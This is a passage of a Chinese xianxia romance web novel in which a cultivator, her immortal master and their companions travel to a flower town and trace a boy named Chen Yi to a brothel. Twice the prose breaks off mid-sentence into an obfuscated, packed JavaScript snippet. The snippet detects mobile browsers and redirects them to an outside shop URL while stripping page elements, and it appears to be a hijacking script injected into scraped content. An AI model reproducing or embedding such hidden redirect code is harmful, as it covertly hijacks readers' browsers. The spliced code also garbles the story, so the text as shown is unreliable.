宫璃又喜又嚷:“百里大人你们真是吓死人了,要不是大家信任你,恐怕真是要强闯幻境、把你俩拉出来了。哎呀我在里面坐都坐不安稳,老想着你们啥时候能出来,因为此事我还被我哥骂了一顿。骂骂骂,他就知道骂我,根本就不爱我这个弟弟。” 跟过来的宫榷听见这话,脱口骂道:“你是想家法伺候了?皮痒了是吧?” 宫璃一听到“家法”,抱头鼠窜躲到闻尘后边,指责男人粗鲁,“哪有你整天把家法挂嘴边的?这么凶。我不说了还不行吗?” 弟兄俩又当着众人的面拌嘴,大家见怪不怪,面色多露喜悦,只道闻尘师徒二人平安出来就好。 经此一遭,青泽痛失第一。 “与君三会”本是门派同生共死的考验,有谁先出来、晚出来,都会影响门派整体的评定,闻尘和潇泉最后晚出,拿不到第一很合理。 青泽弟子无怨无悔,反正往年都没参加典会,今年是破例,来了就没想拿什么第一,权当游玩历练。闻尘性子不争不抢,对败在情理之中的事情自然无感。潇泉更没心思,只想把一身灰尘洗去,变得舒服一些。 不过此前她得做一样事。 潇泉一把抓过宫璃,悄声问道:“帮我一个忙成不成?你去问问你那夜叉哥哥,这些木槿花都是从哪儿进货的?我很喜欢,想买来一些回去养。” 宫璃爽快道:“你喜欢?那简单。我回头叫他们搬几大盆送你,你想要多少就送多少。” 潇泉继续斡旋,“不不不,我想亲自去挑,你帮我问问呗?” 宫璃昂首挺胸,一脸势在必得,“问他不如问我。我知道这木槿花是从何处采买的,在几十里开外的香城。这座小城靠卖花做了七十多年生意,精通各类花种的栽培,每年有不少人去城里买花,昆仑之前也买过不少。香城地方不大,但水土养人,听说在那儿呆上一年半载,皮肤能变得白皙温润!你们想去啊?不如我们抽空一起?我想去那边采采风。”他跃跃欲试。 潇泉一时拿不定主意,反问:“你哥会答应你去?” 宫璃:“这算什么?以前我跟百里大人去过不少地方,他骂归骂,不还是拿我没办法?去都去了,他还能把我吃了不成?先斩后奏嘛,哈哈哈。” 还好宫榷没在附近,不然听到这掏心窝子的话,肯定不止训骂少年那么简单。 闻尘:“此事还没定夺,回去好好商量。” “可以啊,我都行,看你们。”宫璃前后拍手伸展身体,“姐姐,我看你家小乔躺很久了,不知道有没有醒,我带你去看看?” 这正合潇泉心意,几人也不提花的事情了,匆匆赶往行宫。 他们去时小乔刚醒,为小乔把脉的医仙说并无大碍,用几副药调理一下身子即可。 说来也怪,那几味掺杂共煮的草药非常之苦,小乔居然一声不吭喝了下去,旁观的宫璃一脸惨不忍睹,龇牙咧嘴道:“看着就难喝,居然还喝得这么起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295725|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劲儿……” 潇泉坐在榻边,把小乔喝完药的空碗放在桌上,观察小乔顷刻,“好喝吗?” 小乔擦嘴点头。 宫璃瞪大眼睛,语无伦次。 潇泉笑了笑,眉眼舒展,没有言明。 “与君三会”结束,大家在行宫等待朱雀门弟子公布名次,待赏完奖品,此次武峰大典便彻底结束了。 诸位各自散去,回家的回家,回仙门的回仙门,五行宫不准逗留,一到子时会准时锁门派人看守。 潇泉闻尘等人打道回府,在昆仑山脚碰见孤身一人的尺素,他没牵路牲,不知去往何方。 潇泉朝他打声招呼,那厢莞尔走来,对潇泉身边三位抱拳行礼,最后再向潇泉行礼,道:“扶摇姑娘,别来无恙。” 潇泉回礼,“别来无恙。” 尺素:“扶摇姑娘,能不能借一步说话?” 潇泉脸上多了两分快意,“我问问我家小师父。” 她带闻尘走到山路一角,根本不像刚才说的那样,而是特意嘱咐:“你带宫璃他们先走,我等下就来。这位小仙是我很久以前遇到的,那时它在渡劫。” 闻尘:“蛟龙渡劫?” “那会儿是蛟龙,现在不一定。两百年的光阴不足以让他化成真龙,就算修成,道行也比苍龙差得远,严格来说是一条刚孵化不久的幼龙而已。”潇泉解释,“我和他比试就是想试试他是不是我碰到的那只,现在看来就是。你看,这不是来找我了?” 闻尘:“……早去早回。” 潇泉笑笑,转身寻尺素去了。闻尘望着她的背影站了片晌,而后领着两名后辈继续往前。 宫璃目光跟随潇泉飘了好远,“百里大人,那男的谁啊?姐姐熟人?怎么跟他走了?” 闻尘手指一顿,“……” 宫里见他不语,非得停步看看是怎么回事,结果看了半天也没看清,自言自语:“聊什么呢,这么开心……打过架还能聊这么欢,真是奇怪……” 他嘟囔着,忽觉身边凉气嗖嗖,扭头一看,百里大人的脸色似乎比平日阴沉,有闷闷不乐之色。 宫璃小心翼翼问:“百里大人,您是不是担心姐姐?” 这可是他破例收的小徒弟,要是被哪个不长眼没分寸的家伙拐到天涯海角,百里大人肯定会气得大发雷霆吧。宫璃如是想着,开始幻想百里大人火冒三丈的样子。 相比这边的阴沉,另一边就明朗欢快很多。 潇泉听尺素说起这些年,只觉物是人非,“也就是说,当年我助你挺过雷劫,你才留得一命修行,踏上成龙之路?我倒没想过那时你身负重伤又惨遭雷劫,只是恰巧路过,看不下去才施以援手。对了,我在典会听说有关你的传言,说明你的修行经历还是有人了解一二的。不过,我劝你离昆仑远一点,哪怕修成苍龙,也不要去。” “我从未想过投奔昆仑,也清楚自己的修为还有待提升,所以目前我暂时在自己的洞府修行,你放心吧。”尺素迟疑一下,“你故意与我交手……是为了看我是不是当年你救的蛟龙?” “聪明。我故意悄悄用当年的术法激你,看看你能不能认出我。”潇泉坦白,“认出了就是,没认出就不是,就这么简单。” 尺素一怔,摇头道:“此法太过涉险,万一我失手……” “不会。”潇泉眼神坚定,“你心无煞气,会手下留情,我相信你。” 尺素笑道:“你我不曾相知,你如何知我没有煞气?” 潇泉负手微笑,“我的直觉。” 尺素笑而不答,注意到不远处的人影,道:“他……知道你是谁吗?” 潇泉低头看脚尖,“他一直知道。” 尺素凝视她片刻,打破突然安静的空气:“当徒弟的滋味如何?” 潇泉眼睛一亮,像是有说不完的话,可一到嘴边却只能吐出一句简单话语:“很幸福。” 幸福什么,什么幸福,不必多言,尺素自然明白,他微微一笑,笑带释然。 时间不容久叙,潇泉打断道:“好了先这样,以后有缘再会。对了,你洞府在何处?可有府名?” 尺素垂手握着手腕,姿态放松,“庙在清河,名唤卧龙。” 潇泉点头记住,“好,有空去清河找你。” 她抱拳欲离,尺素又猛地叫住她:“当年的事……你是不是有难言之隐?我无法想象,你会成为世人避如蛇蝎的神魔。” 潇泉身形一顿,偏头道:“有又如何,没有又如何,难道我还指望那些老东西听我的苦衷?与其卖惨求清白,不如自己攫取力量,打到他们服为止,不然挨打的就是自己。”她抬头正视前方,“何况我没有苦衷,只有一厢情愿。” 尺素自知不该多问,保持沉默,垂首送她离开。 偷听墙角的宫璃没有得逞,等潇泉回来就问:“你俩嘀嘀咕咕的说啥呢?” 潇泉把玩着胸前长辫,“老友叙旧而已,有这么好奇?” 宫璃摇头,“不好奇,我是替百里大人问的。” “哦,这样啊……”潇泉略一沉吟,双眼含笑,“怎么?百里师父这么担心,难道是怕我被别人拐跑?” 闻尘身若修竹,难得回应调侃,“嗯。” 潇泉回得认真:“看来以后我得好好学会保护自己了,免得给你们添麻烦。” 闻尘停顿一下,“你不是麻烦。” 潇泉内心老泪纵横,感叹这孩子就是心地善良、知恩图报,当年自己没看错人,现在也是。 几人行过山路,又乘水路游到青泽,回归正常修行生活。 这两日,潇泉和闻尘多半在聊香城一事,她把典会摆设的木槿暂养在屋外木架上,拿定主意要去香城一趟。宫璃没有异议。闻尘始终沉默,沉默到怪异的地步。 一次比试,潇泉问他:“你不想去?” 闻尘与她木剑交错的桃枝微顿,“你去那儿找寻的真相都有哪些?” 潇泉略有惊愕,没想到他心思如此之深。 她执着于探索香城,为的真相确实不止一个。 潇泉:“我想去看看那里有没有我要找的东西。” 闻尘:“你师姐的线索?” 他猜得一字不错,潇泉知道没法瞒他,说出想法:“这两天我反复回想在幻境听到的声音,除了她我再也想不起究竟还有谁是这副音嗓,连说话的语气都一模一样。如果这次能找到有关她的线索,那么我想应该也能查出她因何而死。” 潇泉与闻尘相伴的那段时间,很少谈及这位师姐,闻尘不大了解她的性格习惯,也不清楚潇泉对她存在着什么样的感情。 俗话说一日为师终身为母,白清鸣不在的时候,潇泉在她身边就是孩子,她是一个会偷偷塞糖哄孩子的“母亲”。 虽然两人陪伴时间不长,但是这段感情却深刻到贯穿潇泉的整个童年。 清风一凛,闻尘转手收起木剑,“你想去,我陪你。” 40. 长相思(壹) 此行用不着精心准备,本来定的第三日出发,闻尘却说要再等一日,于是他们又闲了一日。期间,宫璃来找潇泉问:“怎么还要晚一天去?有啥事耽搁了?” 房间门口,潇泉弯腰不疾不徐给盆栽浇水,“不知道,你可以去问问你家百里大人。” “什么我家百里大人,那不是你的百里师父吗?”宫璃打趣她,“怎么,还没出师就想撇清关系了?” “要撇清关系早就撇清了,还会等到现在?”潇泉瞥他一眼,“倒是你,学聪明了,还知道反将一军。” “这就叫‘吃一堑长一智’。”宫璃靠着树干朗笑,“好无聊啊,不如我们去看看?” 潇泉身形微顿,直起身来看,放下水瓢,双手随便拍拍裙摆擦拭水渍,把身上叮当响的物件全部摘下,拉上宫璃往主殿方向去。 宫璃被她一顺溜的动作唬住了身,反应过来,跟紧脚步来到主殿门口和她一起趴窗偷看。 主殿雅静安宁,里间照常敞门通风,所有陈设摆件整整齐齐端在原地,一件不落,就是不见闻尘本人。 殿内隐隐弥漫干燥苦涩的符纸味,桌椅之上晾着一片明黄,像是符纸。 门没锁紧,潇泉和宫璃推门进入,凑近一瞧,果然是辟邪镇魔的符纸,有的还未晾干,说明闻尘刚离不久,还在新添,笔杆还残存着温度。 宫璃挑上一张全干的符纸,“百里大人画符作甚,他不是有法宝吗?” 潇泉打量符纸,“可能是给我画的。” 宫璃不是说不信,反倒一点即通,但这么理直气壮的自信,头一回见。 闻尘画这么多符纸肯定有用,还有几张是专门降魔的符纸,其他看不懂的另当别论,总归可以保命护身。 进殿的两人没想着躲躲藏藏,照猫画虎描了几张符文,等闻尘回来,潇泉正拿自己的符纸跟宫璃争论谁画得更像。 闻尘没有打搅,坐下把符纸收成两沓装进锦囊分别递给他们,“收好。” 宫璃意外这些符纸还有自己的一份,小心收好,不死心地拿出两张符纸在他面前对比,“百里大人你看看哪张画得更像一点?” 闻尘扫了一眼,左边符文整齐,但歪扭生疏,总体规矩;右边符文截然相反,飞到天外不说,还有刻意留下的歪扭墨迹。画符不同于写字,这略有不妥,更不妥的是,符纸底下还画了一只老虎脑袋,两颗珍珠是双眼,一颗石子作丑鼻,六须集齐当虎胡,任谁看了都得夸一声画仙降世,丹青妙手。 他收回视线,“都不像。” “啊?”宫璃把符纸还给潇泉,心中失落,但很快又被倔强替代,“……不解风情……” 潇泉笑出了声,做“嘘”手势道:“他能听见。” 宫璃陡然精神,老实站到潇泉身后乖乖言谢几声,拿着锦囊急急退了。出去之后,他站在门外偷偷招手,示意潇泉一起出来。潇泉暗暗挥手,示意他去。宫璃会意,撇嘴告别。 少年走远,潇泉没再遮掩,负手在桌前走来走去,摆出夫子教书之态,“没想到‘不解风情’这一词也能用在咱们仙君身上,有点意思。” 闻尘正正看她。 潇泉面不改色,“这可不是我说的,是那小子说的。” 闻尘低头默语。 潇泉笑着坐在对面,“不过我倒觉得他说所言挺对。” 闻尘不看她,“潇长霁。” 这是他第一次连姓带子当面叫她,没有怒意,没有欢喜,只有平静。 潇泉直面回应:“怎么了?” 闻尘指尖微动,“你还是和从前一样。” 潇泉没忍住笑了出来,用江湖那套话术逗他,“闻公子,你有没有听过一句话——江山易改,本性难移。你知我潇长霁本就恶劣成性,早该想到把我带回来的后果,也许会让你烦躁焦心、整夜失眠,也许会让你茶饭不思、整日忧心。可没办法,我生性欢脱,改变不了,也不会为谁改变。” “我何曾说过后悔。”闻尘坐姿端正,“人之本性,本就无需为谁改变,高兴就好。” “说我没错,那你叫我作甚?”潇泉一手托腮,一指敲打桌面,“还叫我小字。” 闻尘摸着书卷,眼帘温和,“我无小字。” 潇泉表情认真,前倾身子问:“所以你的意思是,如果你有小字,我也可以这样叫你?” 闻尘静声望她。 潇泉有点意外,玩心一过又恢复正经,“你已经长成大人,我取小字不太合适,何况你有姓名。最重要的是,你与我没有血缘关系,我不能取。”她随手摸一本书翻看,眼睛却不在字上,“过去是过去,现在是现在,怎么叫我随你心意,只要在我接受范围内。” 闻尘摸着书卷没有翻页,静声片刻开口:“上山初次握笔,你教我的是这三字。” 大多数人亲身体验新鲜事物时,往往会深刻记住初次体验的感觉,那时还是凡人的他自然没有避免俗性。只是,可能他不知道,当年潇泉正是因为把握了人的感受,所以第一次教他写字特意教写她的姓名,让他记住她的姓名。 记归记,但潇泉明明记得以前他叫自己都是以礼相称,不会直接喊名。 念在他没有心存不敬,潇泉勉强放他一马,“你喜欢你就喊吧,别给人家听到,我身份还得藏着。” 闻尘答应果断:“好。” 听到他的肯定,潇泉心中大震,缄默半晌道:“你是不是,很喜欢叫我名字?” 闻尘如画一般静止,抬眼注视着她,始终不答。 潇泉眼带柔和,没有说话。 殿内慢慢安静下来。 潇泉坐看闻尘阅经写字,偶尔起来逛逛,找一找有趣的物件。 有两个小柜子放有一些精致雕刻打磨过的木雕,件件都能称得上艺术品,潇泉问他是不是自己做的,做了多久。闻尘说是亲手刻的,五十年到两百年不等,哪段时间刻的木雕都有。 这些木雕下足了功夫,去市集定能卖个好价钱,不过潇泉知道他不会卖,要卖早卖了。出于好奇,她还是问了他有没有买卖的想法,闻尘果然回说没有,说这是自己闲来无事打发时间做的,喜欢的留着,无感的送给有缘人或是小友。 除开木雕,殿内好像没什么有趣的物件,装饰珍品也少得可怜,但看着干净整洁,不至于到家徒四壁的地步。 潇泉在长椅上打了下盹,最后顶不住困意,无奈辞别闻尘回房间睡,走前还贴心嘱咐他今日要早点歇息。 朗朗明月下,屋内的阑珊灯火胜过暗中流萤,闻尘坐在窗前等到白鸟回归,听它道一声“安寝”,方才合窗,起身走向宫殿深处,被乌发披盖的轻薄雪衫随步子轻摇轻摆。 经过某处角落,闻尘身形一顿,偏头看见整齐叠放的书籍上面放着一只人体布偶。他一眼认出这非殿中之物,拾步过去拿在手中打量,布偶居然与他有七分相似,但嘴角弯得温柔烂漫,不大符合本人性情。此外,置放布偶的位置的旁边还留着一张纸条,上面的墨迹歪歪扭扭写着:笑一笑,十年少。和适才画符一样,纸张底下画着一张相当嚣张的笑脸。 闻尘眼睫轻垂,盯着这张只有三根毛发、奇丑无比略带猥琐的笑脸,忽而弯起唇角。他把所有东西放进匣子锁着,回寝室了。 次日清早,晨光上头,潇泉收拾好东西去主殿找闻尘,顺便问他还要带什么东西。想着想着,还没等闻尘开口,她先想到最重要的,“带点银票吧,此行路远,衣食住行都要花钱。” 闻尘:“带着。” 他身上除了那把佩剑还有一袋包袱,想来应是装在里面了。 两人出发去往净香庭的路上,潇泉趁此独处的空隙随便和他闲聊两句,“昨晚睡得可还香?” 闻尘颔首,“挺好。” “我也还好。”潇泉将手负在身后,“可能是有点期待这次行程,前半夜有点难以入睡,后半夜才入梦。” 闻尘:“御剑飞行一踏可翻十万里,不必赶路,你可以多睡一会儿。” 潇泉心中有点欣慰,“没事,现在我不困,可以赶路。” 趁天不热,两人加快脚步赶往净香庭,路上刚好出来的碰见宫璃小乔,他俩各背着包袱走得乱七八糟。 为何乱七八糟,一个不想跟着另一个走,另一个出于担心不得不拽着前者胳膊走,扭在一起走不像走,打不像打,光只相争,要多难看有多难看。 见到潇泉,小乔当即甩开少年的手,咚咚咚地跑到她身后死死盯着少年。宫璃轻哼一声,嫌弃似的拍了拍两只衣袖并不存在的灰尘,对潇泉表达不满:“我怕她到处乱跑误了时辰,这才拉来一起找你们,可惜她听不懂人话,好心当成驴肝肺。” 两个家伙本就互相不对付,产生摩擦是为必然。潇泉安慰性地拍拍小乔手背,又口头安慰少年:“好了,我知道你用心良苦,现在我们不是赶过来减轻你负担了?” 宫璃轻轻扬眉,神色稍好,“总归在同一个宗门生活,帮一帮也没什么。” 潇泉笑笑,略有无奈。 这趟出行不知多久能回,闻尘把青泽内务暂时交由大弟子代管,之后带人从后山御剑出发到山脚,在城镇买了一点热食填肚。 宫璃吃饱还买了喜欢的零嘴,每样都留出一点分给潇泉和小乔,最后揣着明白问百里大人要不要,得到答案又意料之中收回零嘴。 好久没吃零嘴的潇泉一边适应着现在的味道,一边感叹:“有钱就是好。” 宫璃不在意道:“我娘非要我这么多,你要是想用就用呗,反正用不完。” 潇泉拍手,“哇,宫二公子好气派,给我两票?” 宫璃说到做到,从包袱掏出两张银票给她,还特意强调:“你想什么就买什么,不够我这里还有。小乔不会用钱,我就不给她了,她想吃什么你给她就行。至于百里大人……他不缺钱,钱比我多。” “钱比你多?”潇泉把银票推还给少年,“既然百里师父钱比你多,那我就用他的好了。我用你的后面还得还你,我怕到时候自己忘了。” 宫璃愣愣接回银票,“我请你的,你不用还啊。” 潇泉轻笑,“算了。等你将来哪天有了赚钱的能力,再谈请我。” 宫璃看她几眼,乖乖把银票收回囊中。 走过山脚几座城镇,便直入荒野,四人停步准备御剑飞行,闻尘携带潇泉,宫璃携带小乔。为防小乔出现意外,潇泉和闻尘简单商议不要离他俩的太远,虽说她清楚自己不说闻尘也会那么做,但口述出来会感觉更安心一点。 没人去过以花营生的小城,所以在出发前闻尘用白鸟吸取木槿花的气味,以便寻路。 白鸟不惧云海狂风,一路向前飘游,大家紧紧跟随在后。约莫四个时辰之后,白鸟不再前行,展翅在云海之上盘旋停留。 闻尘降下银龙,“到了。” 剑落城外行人稀少的野岭,正是最佳落脚地,几人落地收好佩剑打算直奔城门。 走着走着,小乔不由自主窜到潇泉身边,睁着两只大眼睛不停打量周围景物。另一边,宫璃冲冲奔向城门,似想尽快饱览香城名遍九州的风光。 穿过守卫看守的城门,一眼望去,尽是白墙黑瓦的朴素。 这儿不如京都繁华,但也有不少亭台楼阁,四处尽可听见卖弄吆喝,行人缓行而不急,树下一片乘凉地,给人一种怡然自得的潇洒快活。 宫璃早就收好了地图,背着包袱到处看,把来的目的忘得一干二净。 城中有一条宽而碧绿的河,河上游有几艘画舫,舫上坐着几位头戴鲜花的小娘子,面若春风桃花,一颦一笑皆朝阳明媚。 船夫将舫靠岸,岸边有好些丫头恭敬守着,见着舫上姑娘下来,忙上前扶人。看起来是这里还算富有的大户人家小姐,出这一趟应是几个姐妹约好出来玩的。 城中有人看到潇泉等人背着包袱,热情地过来迎接,人多有几,不知该听哪一个。其中有位看上去十四五岁的黄衣少年拽住潇泉,凑近道:“姐姐也是来花城游玩的吧?我可以给你引游三天,只要二十文钱!” 钱倒是不必,就是怕遇到骗子。潇泉直拒道:“不用了,谢谢。” 她态度强硬,加上身边的一男一女不作反应,那些簇拥过来做游玩生意的人便知又是白费工夫一场,很快识趣散去,寻找下一个目标。 黄衣少年不卑不亢顽强得很,怕潇泉再次拒绝,直接手里的鲜花送给她,道:“三千繁华客,君只钟一人。姐姐,这花寓意百年好合,可以送给您旁边的那位哥哥。” 他本是想让那位素衣清贵的哥哥将花送给这位姑娘,可他面相冷淡,实在不像好相处的人,所以只好把花献给面相温婉明艳的姐姐了。 潇泉不敢接花,黄衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300867|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年却果断把花塞进了她怀里。 接木槿的后果仍历历在目,潇泉身躯一震,以为会像幻境那样变得人不人魔不魔,谁知什么反应都没有。 花被一道快影迅速掠走,潇泉及时拦下,怔怔道:“等会儿。” 闻尘默默把花放下。 潇泉使了个眼色,闻尘递了两个铜板给少年。 少年连连摆手道:“这花是我自家种的,送你们了,不要钱。” 潇泉将花收下,“你家种的?可是在花城?” 少年咧嘴一笑:“不是啊,我奶奶家在城外的小果村里,闲来无事就种菜种花,只是长得没有城里的好,但是耐看,也很香,姐姐可以闻一下。” 潇泉犹豫了下,低头闻了闻手里的黄花,和寻常花朵一样弥漫着清香,并没有那朵木槿的异香。她问:“你们花城是不是盛产木槿?九州好多鲜花是从你们这儿卖出去的吧?” 少年:“不算盛产吧,还有其他花种,看你想要哪类。就算花城没有,那也是可以去店家那里预订的,他们会从其他地方进货过来,只是会贵一点。” 潇泉:“也就是说,不止你们花城主营卖花?其他地方也有?” 少年点头,“是啊,一直都是这样。” 潇泉有了主意,“这样,你帮我一个忙行不行?我给你钱。” 一听能赚钱了,少年态度更加恭敬,“姐姐你说。” 潇泉多给了他两块碎银,道:“你去帮我买几支不同地方的花儿来,三支就行。我们在附近的茶馆等你。” “不用了!我这儿就有!”少年放下背上的竹篓挑选出了三支新鲜的花儿给潇泉。 潇泉一一接过,细心感受还是没有任何异样。难道只有花城里的花儿有异? 少年好心道:“姐姐,附近的客栈有茶喝,你们要住吗?住的话我给你们带路。” 对面,某人大步归来,身上叮叮当当的,买了好些东西,边走边哼着欢歌。潇泉单眉一扬,“宫二公子这就逛完回来了?” 心满意足的宫璃咬下一口红花饼,很是惬意,“没呢,只逛了一点儿。我看你们还没跟上就没去了。怎么了这是?准备找客栈住了?这样也好,飞这么久我头发都乱了,是该好好打理了。欸姐姐,东西好多啊,你帮我提点吧。” 他把不重的几样东西分出去,一只手默默伸了过来,瞥到那抹熟悉颜色,宫璃瞪圆了眼睛,当即要收回。闻尘把东西拿了过去,毫无不妥不适之态,十分自然。 他闷红了脸不敢吱声,心叫苦恼,竟把百里大人使唤来了!真是倒反天罡! 注意到宫璃的窘迫,潇泉笑看闻尘几眼。 闻尘不明所以,双手牢牢环抱好东西,问黄衣少年:“条件如何?” 少年:“比是比不上京都,不过基本条件是不差的,干净舒适一应俱全,出来还方便去其他地方转转。我觉得不错,你们可以去看看,不满意就再看别家的。” “行,看在你这么实诚的份上,我就……”潇泉看看闻尘又看看宫璃,见他们都没意见,接受了少年的善心,让他带路到那个较近的风云客栈。 风云客栈地处东边的第一条街道上,卖弄吆喝没有城门口的多,颇为闲逸。 途中,潇泉得知少年名叫陈忆,从小在奶奶家长大,父母早年和离,今父去外边做了生意有了新的妻子,今母在仙门修行,前途一片光明。每逢新春时节,生母会来家探望一回,待上个把月又离开。 潇泉问陈忆:“你娘是在哪门哪派?” 陈忆不好意思地挠挠头,“这个……我也不是很清楚,只知道在北边的一个雪峰上。同她回来的还有一男一女,听说是同门弟子,会耍剑会法术……过年还变烟花给我看呢!” 潇泉眉眼弯弯,“那你可有想过修行拜师?” 陈忆:“早年算命大师就给我看过了,我没有灵根,不适合修行,修了也没太大出息,于是我奶奶就叫我在花城里吆喝卖花,这样离家近,也能填饱肚子。” 潇泉:“你在哪家花店?” 陈忆指道:“长相思。在对面那条街的第一条巷子。” “哦,好。”潇泉收起心绪。 风云客栈在这条街的拐角,陈忆带他们进去后没有多留,说是要继续拉客,不然没达到业绩要求是会被扣月钱的。他皮肤黝黑,笑露白齿道:“有什么事就去长相思找我,如果我不在,我的同伴会告诉你们我在哪儿的。” 等他走后,潇泉一行人步入客栈,去柜台订了相近的三间客房,然后该干啥干啥。 潇泉和小乔共住一间,她们收拾好东西,带上换洗衣物去澡堂泡了个舒舒服服的澡。 澡堂规格不大不小,共有两间。一间普通规格的浴室,一间是专门供给修士疗养的浴室。潇泉选了后者,和小乔泡累了才出来。 傍晚,大家用完膳,照陈忆说的路线,在巷子里找到一家名为长相思的花店。宫璃敲了敲门,一个二十出头的青年探头出来,他看到来的几人衣着不凡、腰悬佩剑,累了一天的疲倦不耐被肃敬压下几分,但声音还是懒懒的,“本店已到打烊的时间了,几位是来买花儿的?” 潇泉温和道:“我们来是想问问陈忆在不在。” “陈忆?”青年声音微扬,“他去柳香苑了。你们从这儿过去往右拐过两条街就是。” 宫璃奇道:“哎,不是他说让我们来找的吗?怎么这会儿又跑出去了?送花儿呢?” 青年:“送不送他去,去那儿就是送钱的。你们要去就赶紧去,他待会儿可能就回家了,今夜不是他守店。” 潇泉拉回宫璃,依旧温笑道:“好的多谢,打扰了。” 深有经验的潇泉虽是头一回听过柳香苑,但凭这名字来看,和京都那些寻欢作乐之地并无不同。令人诧异的是,陈忆那种笑起来都会羞涩的少年,竟也去那种地方? 宫璃是学武不精,玩乐也不精,偏问:“这柳香苑名字不错啊,是书院吧?我们去看看?我想知道里面放的是不是都是些养花的书,买一本回去有空试试,嘿嘿。” 潇泉不忍打破他的幻想,“我觉得你还是回客栈好。” 宫璃不服,“为什么?不就是一个书院吗?有必要那么遮遮掩掩……” 说到最后,他自己都没勇气说下去了,转而犹豫问闻尘:“百里大人,您……也去?” 41. 长相思(贰) 潇泉好心道:“如果你真要去,记得做好心理准备。” 宫璃挺胸昂首,“来就来,我又不怕。我要是怕,我就是逃兵懦夫!” 潇泉和闻尘相视一眼,两人俱不作声。 大家随着青年说的路线找到那条巷道,在一处较为明显的地方找到一座古典雅丽楼阁,上面清楚写着“柳香苑”三字。 宫璃站在门口说道:“不愧是盛产鲜花的古城,生意做得这般壮大,景致建筑比同级城镇要高级一点,就连这座楼阁……嗯?这、这是、是青楼……啊?” 潇泉无辜眨眼,“刚才你说什么来着?” 宫璃瞬间变成哭脸,“我娘我哥要是知道我进这种地方肯定会打断我的狗腿,把我囚禁在宫家大院整整三年不准出来,这和死了有什么区别?上吊都做不了主啊哈哈……” 正事为重,他不能因此退缩,所以恳求道:“你们千万千万不要告诉我哥,他最讨厌进这种地方,更不喜欢我沾染此地……假如他知道了,我肯定会被家法伺候……” 潇泉要笑不笑,“宫二公子如此舍己为人,实乃观世音菩萨,我等又怎会背叛做小人?放心好了,如果有人认出你的身份,我们咬死不认。” 爽快约定之后,几人长驱直入苑内,在一楼角落找到舒服的位置坐下。待小二上茶,潇泉问道:“这位伙计,你能帮我问个客人吗?他应该经常来这儿。” 店家通常也会面熟常客,即便女子没说陈忆经常来此,她还是觉得陈忆可能是这里的常客。 潇泉报上陈忆姓名,小二眉飞说道:“是有这么一个人常来苑内听琵琶,今日照旧到场,不过具体位置恐怕得你们自己去寻了,我这边还要照顾其他客人,忙不过来,见谅见谅……苑子就这么大,到处走走兴许就找着了。” 潇泉点头言谢,又问:“二楼桌位多少钱?四个人。” 小二伸出手指摆一个“八”字,声音铿锵有力:“八文钱。” 闻尘掏钱给他,潇泉领着大家来到二楼宽敞的座位坐着,并未急着找人。 宫璃撑着桌面有点无聊道:“我们不是来找人的吗?姐姐你怎么带我们上二楼来了?要听曲儿?” “对。”潇泉回答少年,“小二不是说他喜欢来这儿常听琵琶?我想看看弹琵琶的人到底是谁,这么叫人痴迷,定有过人之处。” 宫璃:“不找陈忆了?” 潇泉:“他要听琵琶,等琵琶上场,人不就自己出来了?可以省去一番精力。” 他们来之前,苑内已经结束几场演出,不知琵琶有没有上场,潇泉想再等等,又怕等一场空,叫来小二问情况,得知琵琶还在候场,松一口气。如果陈忆只为琵琶而来,不大可能观望其它戏台,此刻琵琶还没上场,说明他本人还在苑内。 几人等了两场演奏,终于等到琵琶上场。 那是一个身形窈窕的年轻女子,头戴纱帽,一袭桃红轻衣,抱着琵琶便开始弹奏。弦乐飞音,指若流水,弹得一手好曲儿,却不知怎么到后半段就变了调,幽怨载情,使快意之人烦躁愤怒,长年郁郁之人听了更加面苦。 待女子奏完离去,潇泉探身下看,果然在一楼看见穿行在人群中的陈忆。他背影□□,跟在小二身后,不知去向何处。 潇泉让闻尘他们守在原地按兵不动,她先一人前去打探,要偷不偷地跟在陈忆后边,摸到一所房间门口,扮成一个酒鬼倒在边上,用头发盖住脸庞。 房间里面的交谈声时隐时现。 一个上了年纪、颇有上人之姿的女声道:“陈忆,我说过,你给的这点钱,远远不够赎下苏卿。” 少年:“我明明问过了其他赎人的客人,只要凑够两百钱。如今我凑够了两百钱,你为何还不答应?” 女子骤然声厉道:“我看在你奶奶年前去世的份上才这么耐性子与你讲话,好赖都不听是吧?你看看你自己的这副蠢样!有什么出息?你既是喜欢人家,那有钱买了,有钱养吗?你连买人的钱都是凑的!就算苏卿跟你回去,也过不上好日子……你回去吧,过两天就会有人来接苏卿了,出的价钱,你一辈子都给不起。” 少年听得脸色发白,咬紧发抖的嘴唇,“老板娘,我求您能不能……” 女子声音仍然高涨:“不能,我见过太多你这种狠口发誓的人了,到最后不过是小人作态、自欺欺人!自以为深情得很,实际连夜里给人家添水解渴都不肯!说什么海誓山盟,到头来还不是你们这些立下誓言的小人给了别人一场空?!骗财骗色骗真心!滚滚滚!要多远滚多远!别脏了老娘的店!” 房里响起杂乱的步声,接着一声巨响,陈忆被女子踹出房门,像空瓶罐子一样骨碌碌摔倒在地,惹来不少看客的目光。 一名身材微胖衣着华丽的女子继而走出房间,指着陈忆的鼻子骂:“再冥顽不灵,我就叫人把你打出去!识相的赶紧带上这点破钱滚!” 